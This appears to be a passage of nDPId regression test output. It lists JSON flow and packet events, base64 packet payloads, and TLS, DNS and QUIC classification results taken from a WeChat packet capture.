pdG9yeTANBgkqhkiG9w0BAQUFAAOBgQB24RJuTksWEoYwBrKBCM\/wCMfHcX5m7sLt1Dsf\/\/DwyE7WQziwuTB9GNBVg6JqyzYRnOhIZqNtf7gT1Ef+i1pcc\/yu2RsyGTirlzQUqpbS66McFAhJtrvlke+DNusdVm\/K2rxzY5Dkf3s+Iss9B+1fOHSc4wNQTqGvmO5h8oQ\/EgADJDCCAyAwggKJoAMCAQICBDXe9M8wDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw05ODA4MjIxNjQxNTFaFw0xODA4MjIxNjQxNTFaME4xCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMFdsVhnCGLuoJotHwhtkRRomAoe\/toEbxOEYiHD0XzOnwXguAHwTjTs4oqVBGSs8WtTXwWzy2eAv0ICjv7dAQns4QAUT\/z78AzdQ7pbK+EfgHCZFVeTFvEPl2q3wmgjHMxNWTCsUR47ryvW7mNFe8XZX1DS41APOojnvxT94Me5AgMBAAGjggEJMIIBBTBwBgNVHR8EaTBnMGWgY6BhpF8wXTELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTENMAsGA1UEAxMEQ1JMMTAaBgNVHRAEEzARgQ8yMDE4MDgyMjE2NDE1MVowCwYDVR0PBAQDAgEGMB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ\/UMB0GA1UdDgQWBBRI5mj5K9KylddH2CMgEE8zmJCf1DAMBgNVHRMEBTADAQH\/MBoGCSqGSIb2fQdBAAQNMAsbBVYzLjBjAwIGwDANBgkqhkiG9w0BAQUFAAOBgQBYzinq\/Pfetc4CuRe1hdG54+CVzCUxDQCmkm5\/tpJjnlCV0Zpv5BHeY4VumO6o\/1rI01WyZnFX3sAh6z0qpyNJAQSGQnv87n+iFlK1Z2fTQNs7JliyKHc9rhR3Ydb6KmYnoA36p3Nc6nDxlCFlRF\/6\/O8paKmih3nvee9PrAd3OBYDAwAEDgAAAA=="} +01367{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":970,"source":"wechat.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":8,"flow_first_seen":1492167648277,"flow_last_seen":1492167648903,"flow_tot_l4_data_len":5599,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3450,"flow_avg_l4_data_len":699,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43850,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher"},"proto":"TLS.QQ","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"res.wx.qq.com","server_names":"wx1.qq.com,webpush.wx.qq.com,webpush1.weixin.qq.com,loginpoll.weixin.qq.com,login.wx.qq.com,file.wx2.qq.com,wx2.qq.com,login.wx2.qq.com,wxitil.qq.com,file.wx.qq.com,login.weixin.qq.com,webpush2.weixin.qq.com,webpush.wx2.qq.com,webpush.weixin.qq.com,web.weixin.qq.com,res.wx.qq.com,wx.qq.com","ja3":"550dce18de1bb143e69d6dd9413b8355","ja3s":"290adf098a54ade688d1df074dbecbf2","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=CN, ST=Guangdong, L=Shenzhen, O=Shenzhen Tencent Computer Systems Company Limited, OU=R&D, CN=wx.qq.com","alpn":"h2,http\/1.1","fingerprint":"67:53:57:7F:22:BB:D0:A6:D4:5F:A6:D4:B3:0A:13:73:29:23:D0:C9"}} +00408{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":903749,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"8IQvSpdgeJKcD6iOCABFAAAoeuVAAEAGk+vAqAFny82eIqtKAbscYaKwh1j+X1AQATGQ1AAA"} +00845{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167648,"pkt_ts_usec":906084,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"8IQvSpdgeJKcD6iOCABFAAFmeuZAAEAGkqzAqAFny82eIqtKAbscYaKwh1j+X1AYATFcEgAAFgMDAQYQAAECAQAhawO\/So02owaxwtSBTxgQTMGYEFFwQfENZd+q51oYgQaRl474gqK1J1Qcn\/lTkYGvPp69dZQntNXEY5pmbpNXrM5S78RwbgFdRvg9LmN5xSHxhEG+PtKta2IW9t4ERcm5QkxyjclvEYp\/3f0gkLogOpZzo1D6BoBxwqxl2od9ghrNs\/fgh1yMYsShe51\/CE6NfJmxw1tAncj0mIpZ\/V8NOsuLtjcBXBd5Yi0ZUzWmw95su4oMpe4ZCuldslgd3DFEQSFRYu5e+hEPRE+d30syoeIdkZiyk5oA9X6WlIkQLzKVKAPU9\/zOFZzCyerdURGdA8\/P0FtIx2sWQmLQY1gJFAMDAAEBFgMDACgAAAAAAAAAAHreAZXwYU5XDew+sGUU0hHC+4w9SB7ji3gKd9\/+recE"} +00417{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167649,"pkt_ts_usec":223893,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAouB1AADEGZRPLzZ4iwKgBZwG7q0qHWP5fHGGj7lAQAIOQRAAAAAC4nN6O"} +00757{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":992,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167649,"pkt_ts_usec":226715,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"eJKcD6iO8IQvSpdgCABFoAEquB5AADEGZBDLzZ4iwKgBZwG7q0qHWP5fHGGj7lAYAIOadQAAFgMDAMoEAADGAAAXcADARmd9wm0qbpS1rmR0FUVZp4NmWX0DAMK6cEyyTZQHRyxKIfdveqHM\/LscRQuwt7NwDYCAOnfI3WBGVA0W+gF3ZrDQWwlGAPk2iIa1WZe1pjmSSeitcjNp+0lTc2ZsvuZQ539EhMFwYT1gImvrl4N3GL6aKLxLf6TDfl4TNbrg9XHwxNLx6AGQ+3BV5aF6RA5Ti2uz6EZ4Sg+r9PcRLlxvu0Jjfv0OTWlaQfC5bxwgKQ9nodhswjwTdUkCVmjejRFuFAMDAAEBFgMDACgy6eHBv2K633TSMJHkQK+Y4YIBEW55ljhJJM1dKX0lQRXj6zioyhKZ"} +01089{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":993,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167649,"pkt_ts_usec":231886,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"8IQvSpdgeJKcD6iOCABFAAIeeudAAEAGkfPAqAFny82eIqtKAbscYaPuh1j\/YVAYAUjtBAAAFwMDAfEAAAAAAAAAAXo3ZqAIQZwh7WYehCHlMp2CtH44uuwR0zgQklawhRCsENEZBjI9PajPfT3VsbMx3WNURWJcAL6kcoNnDveagRd0RvLoKQbbVVXJA5Yj5eUPm1jx+5TE1\/ecNxSmtvyYECbmTTUblYS8ovOS2EBTA3j44A3UEct12yRb6UqJBd1siIyEUG3Zh1ku8hETRMmCk0SUIJfwsW8f40KA0F5eAAJEE8KqSzmbeUYh5GoMrv5Mw0hzFP2++\/pU33djuMhPGpvKO8Qmdo7whsId36G97l8LJQ4CatqxrzESizmQabw+zetuhwhPHh9Tu2m3k5xpX8oT28JvF3aqNOHtpbSSjaEZxtZPmlxYCAkwTkhN5q++m68WJThU02jI9ogUAN1XsBczrFmIB0KxNPkD36NOUM+SgChL+kvofeB399\/h+ZHtqGzQ31HxLRXn9tF\/MRlgZOIxSIz0D7lxlRhR2lkmUkBofEiuZW3W2VYXmyv4xNfJKuFpgeEI7tEbJKy35TMd0LLAAGZPZ07Bq2vq6aac31UUoTWHkbbDjaGI+UE8W+am4YZXNWi7mlvK9B5Z+NeDM3J61DZvgANBOqAKrwBNpgdNHhTTjVuOIx13FeZDMNFJXDR+X7tyKkdn+pdzleEMLhRKx03JGAIOyQ=="} +00417{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167649,"pkt_ts_usec":549109,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"eJKcD6iO8IQvSpdgCABFoAAouB9AADEGZRHLzZ4iwKgBZwG7q0qHWP9hHGGl5FAQAIyNQwAAAADcFepn"} +01671{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167649,"pkt_ts_usec":551913,"pkt_caplen":984,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":984,"pkt_l4_len":950,"pkt":"eJKcD6iO8IQvSpdgCABFoAPKuCBAADEGYW7LzZ4iwKgBZwG7q0qHWP9hHGGl5FAYAIxFlQAAFwMDA50y6eHBv2K64C7+tJIQlCdw2jUNZme81zBy9Kudd90KLapxrnKnOsSMuJfxCzRNgfWOQYwttn0mY\/t6aW25mV59UxR8nnPwhFXmjTofQjxTb1I89V\/73gJlncSt\/B1VlChgh0nl4hq+MNOHTNwf+6iIL3CbjtAS\/uFE1MRfMG2IzAWVohyS1zlqHfVH7dc8+5oj4UkxVlADQTMFb9uBsPH1MO0bV0zM9dmOm7iaKG\/PfvbDT8ROTgsUMYc95gKmCgbMJ1X1nLgVMtsXZOqXUESKGpgkUyDSGaKmFApsD2jbiEc7rHoz5S3NqWERAmOdT9PxkpqZgGX7g2c7WRqQdWEv7IJaRxvAx\/dgDrn4GXUBTMEQe4LfrDkGXxx0+OBdqBxvKZyt2svgQtIoijhUywBLw7ECbrjrNm3RCYQaza3Q7ZeXzpJszCiKLlqJM++\/1VDrvVoJ6qRkHK3E2n3WAiYSO6X9hlTqjlhALTKp9xuw4aBQI9vTAUKMv8l61n6GtcPlv1i9qFQJHocc94IwZrWaYA+\/hIVCy8OAc0mKOrJghE0pyY3mS4rYhUDtGSIDfLdVc7xZCGJT\/A0vKcIpmz6GyPOQEBxnxLi3K4Z\/v7dqmz87KJaqWbasRHhwUknVx+Qv8WEqUKxrU57ccRQEXGF+GNjkj46fcUrTA1\/Q1yt1KCFvFZxCRRA8phQeBYG9Ex\/r0eyVnv\/x5yKt5S1qto4LOBnDbqqRqlWEGAzYIoRh4Gn2Pa9lGBPM3svNKpd2o7plM1ICOKo+Qyuwz5Uqdx3SxU4R0EyWih9nqE19hRdxHQnyyThg5JunE5cG79CdtE+PAcg1XDWrbywOJDRXhXp1E6HHjPKvlzmNyOUUm8Ui2sY3e9XFdYYVVZX4mBBB\/XXP9VhbUZmSWHe1evb2ShulRaptP1T4uK81o7jbH7VdtvCHZjuBpRzZSYd8UFXpNUKPYrF9Pyh+a2AXknKLHQe1P7OMsLvCTYzuNAfEsCJQIgssxuUVh3rlvd0FdEgiddFvA5YHie3zCEIHmFPDnhUDvCfEF2N2B3fF2Q2Y8R9clzIhB\/jBSLhYKKqPyMzuGv4T8pHGEH8unfFFERaPv9BZRHW2HKULct\/SPhWcvj7+RlopmuzfQxR0jJKYpH9S4pO19aUX4raoISFb13mJ4M6wVLlnADsiu9c4m2L+\/Vvv\/YS+HyVAZ1\/KzBpu+nl2z9Hp7qT0FQQKtvobc68f"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":997,"source":"wechat.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1492167650311,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60562,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":311981,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"8IQvSpdgeJKcD6iOCABFAAA916xAAEAR3k3AqAFnwKgB\/uySADUAKTCBKzkBAAABAAAAAAAAA3NzbAdnc3RhdGljA2NvbQAAAQAB"} +00636{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":997,"source":"wechat.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1492167650311,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60562,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"ssl.gstatic.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00651{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":345975,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"eJKcD6iO8IQvSpdgCABFoADcAABAAEARtLvAqAH+wKgBZwA17JIAyGqeKzmBgAABAAEABAAEA3NzbAdnc3RhdGljA2NvbQAAAQABwAwAAQABAAAAHQAErNkXQ8AQAAIAAQACif4ADQNuczEGZ29vZ2xlwBjAEAACAAEAAon+AAYDbnM0wEHAEAACAAEAAon+AAYDbnMywEHAEAACAAEAAon+AAYDbnMzwEHAPQABAAEABTcbAATY7yAKwGgAAQABAAUtSQAE2O8iCsB6AAEAAQAFLUkABNjvJArAVgABAAEABS1JAATY7yYK"} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":998,"source":"wechat.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":2,"flow_first_seen":1492167650311,"flow_last_seen":1492167650345,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":41,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60562,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"ssl.gstatic.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.23.67"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":999,"source":"wechat.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1492167650348,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.67","src_port":35601,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02205{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":348036,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAVibiVAAEARQTrAqAFnrNkXQ4sRAbsFTiZlDSoBZwIONIO7UTAzNQGbgwNlLywtCSgLtCegAQAEQ0hMTx0AAABQQUQAIgEAAFNOSQAxAQAAU1RLAGsBAABWRVIAbwEAAENDUwB\/AQAATk9OQ58BAABNU1BDowEAAEFFQUSnAQAAVUFJRMgBAABTQ0lE2AEAAFRDSUTcAQAAUERNROABAABTUkJG5AEAAFNNSEzoAQAASUNTTOwBAABDVElN9AEAAE5PTlAUAgAAUFVCUzQCAABNSURTOAIAAFNDTFM8AgAAS0VYU0ACAABYTENUSAIAAENTQ1RIAgAAQ09QVEgCAABDQ1JUYAIAAElSVFRkAgAAQ0VUVggDAABDRkNXDAMAAFNGQ1cQAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1zc2wuZ3N0YXRpYy5jb227JKt8ARxJVGRWJtplczZ+Y0Ub6N9qmKgMLrSZKyo986eVN4hLCQ8XNjFEbipb4AqXbG2doRLcUxXPUTAzNQHogWCSkhrofu2AhqIVgpFY8KviMDAwMDAwMDA5UDTgFLbVCW\/cQ8zfwllNkC+Y3GQAAABDQzIwQ2hyb21lLzU3LjAuMjk4Ny4xMzMgTGludXggeDg2XzY0Jc6XFWD7G7yXYXhVaoxdywAAAABYNTA5AAAQAAEAAAAeAAAA4qvwWAAAAABQ8MfjcV\/rNPz9nE7SSiHC6cDht5RKlsv0JChHgsKm0olGM4pgTHU2HYUvFhtNkOqQx\/75FAQP87Et+xOmGXIhZAAAAAEAAABDMjU1wgnkHLidnM3CCeQcuJ2czT2t9HxBefiRQAt7kKmuees8hQEA9eDJxrTnigGUXAfpWeAkSroNTkBs4scsx1Ra2LSNreNDFvpSDuqq6UeKpHg6NTM40g2RnXl5QzirTperKCTKzWwn+4\/bmuO2uGlriSPr4ExcTigYtlruN8fxdgnsCAuRhi2\/JFjFnbJqpKvDwpzJerd7H8C9zsxPzgMehsK4\/vItkCcZuwJmgaicPHLBf9M3RGKygCyV25zBdoSYTv7XUf5XBhgAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00624{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":999,"source":"wechat.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1492167650348,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.67","src_port":35601,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"ssl.gstatic.com","user_agent":"Chrome\/57.0.2987.133 Linux x86_64"}} +00881{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":348333,"pkt_caplen":400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":400,"pkt_l4_len":366,"pkt":"8IQvSpdgeJKcD6iOCABFAAGCbiZAAEARRRnAqAFnrNkXQ4sRAbsBbnP9DSoBZwIONIO7UTAzNQLoUPe6\/kTOTlflPotTtybyc+JAmHNEvZwUaT+Y9MqSJDNXVlUHwBVN0wAQzobHU4rvOkVihYNG2ScjXRicw6QFTtMMe25DwzQ7F0UKP\/Y\/8HMbQmw9b+v7cjBNs8yLamuYyeUaQ6lA73AshAIuQPhL6IslIuIHWs+l0MLo2wd57CZSUFbeEQQGDWtD8b5mwEuaZ88hm8yA3WeZQ9Zu4UUro5Belh+M9DB8RCMbVDEQZk6oJR+FSwF3TriZCorpIzSRESc2crvu7FP1Tb9g0NyoL87e9cFlDFVypNQfdhNO+iEyVuMUtOGb6OQn1vrWvB\/icrLc4DopKhApNyBIG\/+MQmYuPalP+mCA4FXxaPeMi1RdjyuuqxJb39HK+6wmJsCzWDR6cvDTk6ywHmETP0AOjEu+QTifJk6chcMbgKmp0ErfBPvocLYD7Yj8Qw2lL48a1tEWZIz4lw=="} +02223{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":401660,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFoAViAABAADcRt7+s2RdDwKgBZwG7ixEFTkCsBPCmO80d\/CW5IJoqjbn6lzjr5TC1v3d2foeU3jLNcA4IAV35th92JTinR3E92La4uW3lsByHG3R1axVDDHGrIc2Dhs2S+7aBzkyVbwcuUK77hYdmfJ4TJuEFhTaYjceo9r51oYeJqOHOCc1BBmB5E+A58P\/H55fRg4dxRA9v1f2aVQ6I67HK4M7mS7147fzZ170E12rNhRLBsPAWwZ8U93ZWKjAcVK9waq7ihKZ\/GTyfNPuOCQnhcxCFRMVEx2xx65NSFauaw3a1qVgRV428j6Bchcyom0cvPgxBbWJUmObxkeqmQAFmTPCN6igcJnamWF5CRIXtlRtvIVi8G3Rds0EdWXNYvxaTSkwCziFaIH6mAaz9hCwjxATLUAdqd1Yo+wN5ikpGmpiBzh3Coj125lb7YXMKgdIF\/8K12iKaeICQ1ArpMEt9vvWxk35P363XmPN9SjUjvFqh8rl+ETiuGHzQwTYDZUwFRT8Tnc90FuuWkSHrjLuI78eE0u2MPArYDWbkXnAkM9f\/B1mpEGpwrQCQA0PHuwaHNDaEcqfk+htDhYfF2k76y25VNuFHeOfHnAe8W\/L6MSq0NvvJdxpclRqAM5S2hcBrDwho6FgiBa0XuPrQx61q\/3nmcTSWb0DXXos+FWaLGj1Jg4cyk4xSeKoZfxTTY8qOxPxWcSNcXXGMVMwz3NtJzwB28A6uPq8NBF+APnNiUzkLELf20sskbghw4Wvw2P5GvZ6Z0iUqrAzGSGc0IroovL34w3TMmjBnTPzAWKnwYJxIrcFH65r\/43AXULA7mwVKw7TuryWaAn8PVofDMn5VL+m8Bc4anaE3270Gx7DXXa3CWGylYl6IhspD51Ji7UqD6pJpDanmkxF7QRS0mZz7M+VCAuE5+TvKpba5WKwmCrXKMkHXnBfHSx4yC\/BngUmyj5AqU\/35FBtHK2MhZhT3uv3ixGib\/DhROgxNj\/fCIDmyLmZy6LuI15IWBQr2uiGWD15jLW9srpQ3r\/cpXrjFWrIOILP7BDqFX16AVMtIyhn8QUmpyMBzWR3rPBVnAwwCQUSi7lOuHYSBa2JAApapl8ibPeq+IESORJ2WC1jpiGlKVsyKHvCUxM4DB9CDGl+VMCLfBwTUsv9jC9A0oISxfI+skno\/pMiMhfE+1+tVpq0kVbytQk5I14sgZgoXLliJYkFCOr3ikDyMImPkBDegikF\/nhKUricS6KkRKOBVEDYofUgm6hebzs7TAwbIX0LHGrieMSNYdiZ\/RaP9BKZ7WUS7z8Jvlw3DtdXYHHGY\/9m62j8jgUA89FYp2sdoaRFheoQUmxEE6EpSZHWMo5+AT1rvxDTcNLYyAF\/NKlyP79gaAWae04vlwFQ4Bupkoby3AV8qNrlb42pc54gLBwr2\/V8SfP1Jf8GHKLnbnMMGzz8c8g08IQe\/1e7EH9oyogw0WeUU2ddyxaRPwa4eLAdObHTP\/jn7fsHAYVorRI56TLQ62d12KS2GZw3\/dElBm43NGOyNU1Hp381LUrTlDOWD2CkkP1QCRN+zezQnIAdftR9GtZfdliGgi4n+DRQuugUUjAENUiyLbjua9o3CfXKyGh5RlHt3r219Xp7bzpU2Sa3x2tOlotON5hkk2pmORaeO3NrbIHwpGOzFl20\/4Mhk6xhdUZeHJoEN7V1+kqNLH9CANDu7wpMSMlhqJfpnckBvaCh9BXX3VOJErUyDwJ\/yEG1ZNKGdvcDhAfCDrZsIbxElU8wBdoFg5g3GjSgWUZyHIUdESjz3nA05zyGh0UQ5UNTBZNmAzAGEZvPJPDUf"} +00451{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":402045,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"8IQvSpdgeJKcD6iOCABFAABFbjFAAEARRkvAqAFnrNkXQ4sRAbsAMdx0DCoBZwIONIO7A\/2cOIqV1ZCK4h2eK05EMevTWpEuYxJ\/wRQedJtK4Zk="} +00437{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":402224,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"eJKcD6iO8IQvSpdgCABFoAA7AABAADcRvOas2RdDwKgBZwG7ixEAJ1FNAAKKbXDyukAED2gnENfkBoaaYzFpqRX7MwhtVYvU7w=="} +00433{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":402242,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"eJKcD6iO8IQvSpdgCABFoAA6AABAADcRvOes2RdDwKgBZwG7ixEAJi6WAANEGtEs50ixWe+ABqEl9SJOgoy0S657xf4flgbZ"} +00446{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167650,"pkt_ts_usec":402327,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"8IQvSpdgeJKcD6iOCABFAABCbjJAAEARRk3AqAFnrNkXQ4sRAbsALiQuDCoBZwIONIO7BAg+F6C9OJtOw9xbOObe2FsMePS5IHFvVFWfi\/g="} 